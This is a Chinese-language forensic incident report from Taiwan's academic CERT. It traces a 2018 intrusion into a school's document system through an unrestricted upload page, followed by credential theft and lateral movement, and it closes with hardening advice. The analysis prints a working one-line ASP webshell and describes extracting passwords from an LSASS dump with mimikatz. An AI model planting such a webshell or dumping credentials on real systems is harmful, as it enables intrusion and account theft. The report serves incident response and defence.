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I. 事件簡介 

1. 2018/11 初某學校通報該校公文系統疑似遭植入惡意程式，並且曾請資安公司

檢測該公文系統主機，從資安公司的檢測報告得知在主機內有 1.asp 的一句話

木馬與 l.log 可疑 dump 檔案，此兩個檔案建立時間皆為 2018/10/10，而且檔

案擁有者皆為 DefaultAppPool。 

2. 資安公司發現駭客使用來自日本 IP:54.250.25.212 於 2018/10/10 10:28 開始存

取公文系統，並於 2018/10/10 10:29 透過 upload_resource.aspx 植入 1.asp 與

1.log 檔案。 

3. 在報告中提到於 Event Log 發現 2018/10/10 當天有其他主機以 Administrator

帳號登入公文系統，但目前無證據指出為同一件資安事件。 

(1)2018/10/10 16:56 來源主機:140.X.X.237 使用 Administrator 以 RDP 方式成

功登入。 

(2) 2018/10/10 16:56 來源主機 CC2011-1(IP: 140.X.X.237)使用 Administrator

以網芳連線方式成功登入。 

(3)2018/10/10 公文系統主機使用帳號 water來嘗試連線 cluster1 主機與使用帳

號 administrator 來嘗試連線 fintec 主機。 

4. 為了解該主機被駭情形與駭客入侵手法，本中心進行實機鑑識。 

 

II. 事件檢測 

1. 首先，從公文系統主機(IP:140.X.X.239)的事件檢視紀錄發現: 

(1) 在 2018/10/10 11:04 開始陸續有來自校園 IP:140.X.X.237(主機名稱

CC2011-1)的網芳連線或 RDP 連線，其中 RDP 遠端桌面連線有 3 次皆以

帳戶 Administrator 登入，可見駭客知道 Administrator 的密碼。  
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(2) 在 2018/10/10 有許多使用虛擬帳戶 DefaultAppPool 的網路服務之連線。 
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2. 檢視 IP:140.X.X.237 主機的資源回收桶，發現有 3 個在 2018/10/10 13:13 與

13:23 被刪除的檔案。 

 

查看這 3 個檔案內容，得知下列資訊: 

(1) ipc_pass.dic 疑似為一個 keylog 檔。 

 

(2) ipc_user.dic 僅存放 administrator 在內容中。 

 

(3) NTscan.txt 內容提到 IP:140.X.X.56 與系統管理者帳戶 water 的密碼，透過

該資料可以得知駭客明確地知道帳戶 water 的密碼。 

 

3. 校方告知該帳號 water 為該校系統管理員所用帳戶，該員管理多台校園伺服

器，而且都使用同一帳戶 water 與使用同一組密碼 Rstxxxxxxxxx107。 

4. 校方告知該員在 2018/10/10 國定假日當天未使用帳號登入該校任一系統，推

測 2018/10/10 當天使用帳戶 water 登入主機的紀錄必定為駭客所為。 
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5. 查看 IP:140.X.X.237 主機之事件檢視器紀錄，發現 2018/10/31 以前的紀錄皆

已被刪除，推測可能為駭客所為。 

6. 檢視有使用 water 帳戶的 9 台伺服器的 EventLog，又因所用分析工具的數據

與主機時間有 8 小時時差，故凡是該工具的數據圖示其時間皆須加 8 小時才

是當時事件時間。 

(1) IP:140.X.X.237 主機在 2018/10/10 10:54 被來自美國 IP:45.199.182.10 以使

用者 water 的帳戶登入，進行 RDP 連線，連線期間曾經有來自台灣

IP:210.65.89.8 於 2018/10/10 14:27 使用 RDP 方式連線該主機。(註: 下圖

時間需加 8 小時) 

 

 

(2) IP:140.X.X.237 主機在 2018/10/9 12:54 有許多不明來源的遠端登入失敗紀

錄，疑似為駭客嘗試暴力破解密碼造成。(註: 下圖時間需加 8 小時) 
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(3) 駭客透過 IP:140.X.X.237 主機在 2018/10/10 使用網路或 RDP 方式依序連

線登入下列主機: 

IP:140.X.X.57、140.X.X.239、140.X.X.56、140.X.X.76、140.X.X.78、

140.X.X.77、140.X.X.79，也在 2018/10/11 13:31 開始陸續使用 Nmap 掃描

這些主機與 IP:140.X.X.238 主機。 
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(4) 匯整 IP:140.X.X.237 主機所連線 8 台主機的紀錄，發現有 3 台主機連線次

數較高，各主機連線時間與連線次數統計如下表，建議檢視這些主機的資

安防護措施是否存在。 

IP 連線時間 次數 

140.X.X.239 10/10 11:04、11:06、13:24、16:56 

10/11 13:45(Nmap) 

5 

140.X.X.57 10/10 11:03、12:27、12:50、13:14、13:24、15:01、

15:23 

10/11 13:34(Nmap)、13:56 

9 

140.X.X.56 10/10 12:27、12:28、13:09、13:15、13:23、13:24、

13:25、15:23 

10/11 13:31(Nmap)、13:34(Nmap)、13:35(Nmap) 

11 

140.X.X.76 10/10 16:33、10/11 13:35(Nmap) 2 

140.X.X.78 10/10 16:43、10/11 13:35(Nmap) 2 

140.X.X.77 10/10 16:48、10/11 13:43(Nmap) 2 

140.X.X.79 10/10 17:14、10/11 13:35(Nmap)、13:36(Nmap) 3 

140.X.X.238 10/11 13:45(Nmap)、13:46(Nmap) 2 

 

7. 檢視 IP:140.X.X.237 主機之瀏覽器歷史紀錄，發現駭客入侵該主機後，曾經

訪問學校首頁與一些校內主機的網站，其中以 http://140.X.X.12 被駭客訪問的

次數最多，此外駭客也下載與安裝 Nmap 軟體。(註:下圖時間需加 8 小時) 

 

8. 檢視 IP:140.X.X.237 主機的 port 開啟狀況，發現該主機開啟 135、139、445

與 3389等這些容易被駭客攻擊的 port，需檢視這些 port是否有開啟之必要性。 



 

7 
 

臺灣學術網路危機處理中心(TACERT) 

 

 

TANet Computer Emergency Response Team  

9. 檢視 IP:140.X.X.237 主機的程式安裝內容，發現到駭客曾於 2018/10/10 安裝

四個程式，其中 Nmap7.70 是一個開放原始碼的網路掃描與探測工具，可以

讓網路管理者掃描整個子網域或主機的連接埠等，透過它駭客可以確認主機

是否有開機，並且知道主機有開啟哪些連接埠。 

 

10. 在 IP:140.X.X.237 主機的桌面看到可疑程式 netpass.exe，查看內容發現該程

式是在 2018/10/10 14:52 建立，推測為駭客入侵主機後所用工具，Netpass 是

一個讓網路密碼復原的偵測工具，可被駭客用來竊取密碼用，為有名的駭客

工具之一。 

 

netpass.exe 經 virustotal 檢測其惡意比例為 26/67，有多家防毒軟體公司使用

HackTool、HTool、PSWTool 與 PasswordRevealer 等用字命名它，可以確定此

程式為一個竊取密碼的工具。  
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11. 查看 IP:140.X.X.237 主機之 C:\Windows 資料夾內容，發現程式

RegBootClean64.exe 在 2018/10/10 13:12 曾被執行，該程式為趨勢科技的註冊

碼重新開機後清除程式，可刪除死的和損壞的註冊碼，推測駭客可能利用該

工具清除主機內的註冊碼資訊。 
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12. 在 IP:140.X.X.237主機的C: \使用者\water\AppData\Local\VirtualStore資料夾

內，發現一個在 2018/10/10 15:14 建立的檔案 iisputlist.txt，查看檔案內容可以

看到有許多區域網路 IP 與 445port，推測此為駭客掃描區域網路內各 IP 主機

之 445 port 是否有開啟的紀錄。 

 

13. 在 IP:140.X.X.237 主機上開啟遠端桌面連線軟體，發現該主機曾經連線多台

區域網路中的主機，其中包含公文系統主機(IP:140.X.X.239)，建議查看這些

主機是否有 water 帳戶與是否有駭客入侵現象。 
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14. 在 IP:140.X.X.237 主機之 C:\使用者\All Users 與 C:\ProgramData 這兩個資料

夾內，發現四個可疑檔案同時出現在這兩個資料夾中，其中 NTscan.txt 即是

前面所提到含有 water 帳號與密碼的檔案，分析這些檔案得知如下內容。 

 

 

(1) ew.exe經Virustotal檢測其惡意比例為39/65，有多家防毒軟體公司以HackTool

用字命名它，可見它為一個駭客工具。 
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(2) IISPutScanner.exe 經 Virustotal 檢測其惡意比例為 7/66，僅 7 家防毒軟體公司

可以檢測出它的存在，而且有防毒軟體公司用 HTool 命名它，推測它應為一

個駭客工具，而且該工具主要用來掃描主機是否存在 IIS 漏洞。 

 

 

(3) Putty.exe 經 Virustotal 檢測其惡意比例為 0，事實上該工具是一個可以在

Windows 平台上進行 SSH 連線的免費軟體，本身非惡意程式，但是駭客可以

使用它來對受害主機進行 SSH 連線。 
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15. 檢視 IP:140.X.X.237 主機的防火牆設定，發現該主機未開啟防火牆的防護設

定，容易造成駭客輕易入侵。 

16. 查看在駭客入侵 IP:140.X.X.237 主機期間的電腦操作行為，發現駭客曾經使

用網路掃描工具，推測用來對區域網路進行掃描用，也開啟一些檔案，如前

面所提在垃圾桶內發現的 NT_user.dic 與 NT_pass.dic 檔案。 

 

從內容中發現到駭客曾經開啟在 D:\...\DB 資料夾內的 cn_db.asp 檔案，駭客在

開啟過程中毫無停留，可見十分熟悉檔案的位置與該檔案的用途。 

 

檢視 cn_db.asp 的內容，發現該檔案內有伺服器名稱、資料庫名稱、使用者

ID(UID)與密碼，從時間判斷駭客在開啟該檔案後，停留 7 分鐘之久才開啟下

一個檔案，推測可能在查找該主機所在位置。 
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17. 檢視 IP:140.X.X.237 主機的系統更新紀錄，得知該系統最近一次進行防毒軟

體的病毒碼更新日期為 2018/10/8，至檢測主機日期這段期間有 3 個重要更新

未安裝，未定期更新系統容易造成駭客利用這些系統漏洞對主機進行攻擊。 

 

 

18. 檢視 IP:140.X.X.239 主機之公文系統 log 檔，發現在 2018/10/10 2:28:54 有來

自日本 IP:54.250.25.212 開始陸續存取/kw/資料夾內的網頁與檔案。 
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在 2018/10/10 2:29:01 讀取/kw/maintain/local_register.aspx 網頁，並且成功上

傳資訊到該網頁中，推測駭客可能透過此頁面登入系統，之後在 2018/10/10 

2:29:41 上傳資訊到/kw/maintain/asp/upload_resource.aspx，推測駭客上傳檔案

到主機中。 

 

在 2018/10/10 2:30:12 駭客讀取/kw/auth/upload_file/temp/1.asp，並且成功上傳

參數/if/5288.html 到主機內給 1.asp，之後陸續上傳不同參數給 1.asp。 
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在駭客讀取/kw/auth/upload_file/temp/1.asp，並且上傳參數到主機內給 1.asp

期間，曾經出現指令碼逾時的現象。 

 

 

在 2018/10/10 2:42:46 駭客取得/kw/auth/upload_file/temp 資料夾內的 1.log 檔。 

 

19. 檢視 IP:140.X.X.239 主機之公文系統 log 檔，發現在 2018/10/11 5:58 有來自

美國 IP:103.114.163.55 上傳「/compose/6090.html 」參數給主機內的 1.asp 檔，

之後該美國 IP 陸續上傳參數給 1.asp，最後在 2018/10/11 9:02 執行該 IP 最後

一次上傳參數給 1.asp 的動作。 

 

 

 

20. 查看 IP:140.X.X.239 主機內各槽之檔案內容，發現在

D:\eic_server\kws\auth\Upload_File\Temp 資料夾內有兩個檔案 1.asp 與 1.log，

這兩個檔案的建立日期分別為 2018/10/10 10:29 與 2018/10/10 10:42，擁有者

為 DefaultAppPool，DefaultAppPool 為虛擬帳戶，主要提供 Web 存取時所用，

從檔案建立時間與兩個檔案所在位置，推測在 Temp 資料夾內的兩個檔案為

駭客所放入。 
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21. 檢視 IP:140.X.X.239 主機之 1.asp 內容，發現僅有一句語法

「<%z_=request(1):eval z_%>」，在該語法中 eval 後所接的字串符號可被執

行，而 eval 將其所用的字串符號作為參數提供給 request，而 request 可以讀

取網址的參數，此為使用一句話木馬寫入 WebShell 代碼的方式。 

 

22. 檢視 IP:140.X.X.239 主機之 1.log 內容，發現它開啟後為亂碼。 

 

將 1.log 更改檔名為 1.zip 後進行解壓縮，發現在解壓縮完成的資料夾中有一

個 lsass.dmp 檔案，其修改日期為 2018/10/10 10:39，為駭客出沒時間，推測

該 DMP 檔案為駭客所產生，而且檔案大小有 100MB 以上。 

 

以記事本開啟 lsass.dmp 檔，發現整個內容有部分內容疑為系統資訊，有部分

內容呈現亂碼，推測整個 lsass.dmp 為駭客搜集的主機系統資訊(含帳戶與
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windows 密碼)所產生的檔案，但使用記事本無法完整解讀該檔案資訊。 

 

   執行程式 mimikatz.exe，輸入語法讀取 lsass.dmp，發現 Windows 帳戶

Administrator 與 water 的密碼皆可以透過此方式取出，又駭客在 2018/10/10 

2:42曾下載過1.log檔，推測駭客為了方便下載，將 lsass.dmp壓縮後放於Temp

資料夾內。當檔案下載完成後，將可利用駭客工具解開檔案，並且取得此主

機的帳戶與密碼資訊，此為一個有名的駭客攻擊手法。  
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23. 在檢測 IP:140.X.X.239 主機時，想以 water 帳戶登入系統，發現該帳戶 water

已被刪除，僅剩帳戶 Administrator。查看事件檢視器的紀錄，發現在安全性

項目的紀錄中，在檢測該主機的前兩天 2018/11/17-18 皆為空白，但在應用程

式項目卻有頻繁的紀錄存在。 

 

 

檢視 IP:140.X.X.239 主機的 TaskScheduler(任務程序)紀錄，發現在檢測該主

機的前兩天有多筆使用者 Administrator 登入系統後啟動工作的紀錄，推測帳

戶 water 的消失是因為駭客以 Administrator 身份登入系統後刪除帳戶造成。 
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24. 檢視 IP:140.X.X.239 主機的防火牆設定，發現防火牆未開啟，容易造成駭客

入侵。 

25. 檢視 IP:140.X.X.239 主機的 port 開啟狀況，發現開啟一些駭客容易攻擊的

port 如 445、3389、25、138、139、135…等 port，建議檢視這些 port 開啟之

必要性。 

 

III. 事件攻擊行為示意圖 
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1.駭客讀取/kw/maintain/local_register.aspx 登入公文主機的網站。 

2.駭客利用 upload_resource.aspx 植入 1.asp 與 1.log 檔於公文主機。 

3.駭客讀取/kw/auth/upload_file/temp/1.asp 並上傳參數至公文主機。 

4.駭客取得/kw/auth/upload_file/temp/1.log 檔(內含主機帳密)。 

5.駭客暴力破解帳密並駭入 IP:140.X.X.237 主機。 

6.駭客從 IP:140.X.X.237 主機 RDP 遠端連線或網芳連線公文主機。 

7.駭客使用 water 帳戶連線登入區域網路內的主機群。 

8.駭客使用 IP:140.X.X.237 主機瀏覽學校首頁與一些校內主機網頁 

9.駭客下載 Nmap 與駭客工具於 IP:140.X.X.237 主機，並安裝它們。 

10.駭客執行 Nmap 與駭客工具於 IP:140.X.X.237 主機上。 

11.駭客瀏覽 IP:140.X.X.237 主機內各資料夾的檔案。 

12.駭客透過 IP:140.X.X.237 主機掃描區域網路內各 IP 主機的 445 port。 

13.駭客使用 Nmap 掃描區域網路內的主機群。 

 

IV. 建議與總結 

1. 本個案緣起於該校公文系統被駭客入侵並植入木馬，經本中心檢測發現除

了公文系統主機外，該校有其他主機也有被駭客入侵的現象，發生的主要

原因是因為 IP:140.X.X.237 主機被入侵，透過該主機，駭客使用 Nmap 取

得存活主機資訊，利用駭客工具嘗試竊取與破解主機的密碼與掃描區域網

路內主機是否有 IIS 漏洞存在，也知曉系統管理者 water 的密碼，故嘗試

登入這些有帳戶 water 的主機。 
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2. 因公文系統具有 upload 檔案的功能，但沒有限制上傳檔案的格式，使得

駭客可從 Web 方式入侵系統後植入 1.asp(一句話木馬)，並且下載 1.log 來

取得該主機的帳戶(administrator、water)與密碼資訊。 

3. 針對本個案的資安防護與處理作業，提供幾點建議如下。 

(1)勿使用相同帳號與相同密碼管理多台主機。 

(2)避免多個服務所用之帳號共用同一組密碼。 

(3)定期更換系統管理者密碼並加強密碼強度。  

(4)建立存取權限的管控機制與限制上傳檔案的格式設定於有上傳檔案功

能的主機上。 

(5)建議定期查看系統狀態，並更新作業系統、應用程式與病毒碼。 

(6)檢視主機是否有開啟駭客常用來攻擊的 port，並考慮 port 是否要關閉。 

(7)檢視網路芳鄰之共用資料夾是否有存在之必要性。 


